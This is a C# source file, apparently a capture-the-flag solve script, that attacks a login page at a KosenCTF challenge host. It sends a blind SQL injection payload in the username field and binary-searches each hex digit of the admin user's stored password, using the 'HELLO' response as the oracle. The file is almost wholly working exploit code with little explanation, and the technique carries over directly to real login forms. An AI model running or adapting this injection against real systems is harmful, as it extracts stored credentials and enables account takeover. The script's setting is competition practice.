login.cs

using System;
using System.Web;
using System.Net;
using System.Net.Http;
using System.IO;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using System.Numerics;
using System.Diagnostics;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using static System.Math;

class P
{
    static LoginAppWrapper app = new LoginAppWrapper();
    static void Main()
    {
        int digits = 128;
        string res = "";
        for (int i = 1; i <= digits; i++)
        {
            Console.WriteLine($"search {i}");
            int upper = 15;
            int lower = -1;
            int granularity = 8;
            while (granularity > 0)
            {
                string c = Convert.ToString(lower + granularity, 16).ToLower().Last().ToString();
                Console.Write($"test {c} : ");
                //cの方がその桁より小さければ
                var bres = IsValid(c, i);
                if (bres) lower += granularity;
                else upper -= granularity;
                Console.WriteLine(bres);
                granularity >>= 1;
            }
            var digit = Convert.ToString(upper, 16).ToLower().Last();
            Console.WriteLine(digit);
            res += digit;
        }
        Console.WriteLine(res);
    }

    static bool IsValid(string c, int index)
    {
        //パスワード(c)の方が小さいか
        return app.Login($"binarysearch_5r8y_{c}' AND password<(select substr(password,{index},1) as password from users where username='admin')--", c);
    }
}

class LoginAppWrapper
{
    const string ROUTE_URL = "http://web.kosenctf.com:8300";
    const string LOGIN_URL = ROUTE_URL + "/login.php";
    const string REGISTER_URL = ROUTE_URL + "/register.php";

    CookieContainer container;
    HttpClient client;

    public LoginAppWrapper()
    {
        HttpClientHandler handler = new HttpClientHandler();
        container = new CookieContainer();
        handler.CookieContainer = container;
        client = new HttpClient(handler);
    }

    public bool Login(string username,string password)
    {
        ClearCookie();
        Dictionary<string, string> dic = new Dictionary<string, string>();
        dic.Add("name", username);
        dic.Add("password", password);
        var res = PostData(LOGIN_URL, dic);
        var strres = res.Content.ReadAsStringAsync().Result;
        Debug.WriteLine(strres);
        return strres.Contains("HELLO");
    }

    public void Register(string username,string password)
    {
        ClearCookie();
        Dictionary<string, string> dic = new Dictionary<string, string>();
        dic.Add("name", username);
        dic.Add("password", password);
        PostData(REGISTER_URL, dic);
    }

    private void ClearCookie()
    {
        container.GetCookies(new Uri(ROUTE_URL))
            .Cast<Cookie>()
            .ToList()
            .ForEach(c => c.Expired = true);
    }

    private HttpResponseMessage PostData(string endpoint, Dictionary<string, string> dict)
    {
        var content = new FormUrlEncodedContent(dict);
        var response = client.PostAsync(endpoint, content).Result;
        return response;
    }

    private HttpResponseMessage GetData(string endpoint)
    {
        var response = client.GetAsync(endpoint).Result;
        return response;
    }
}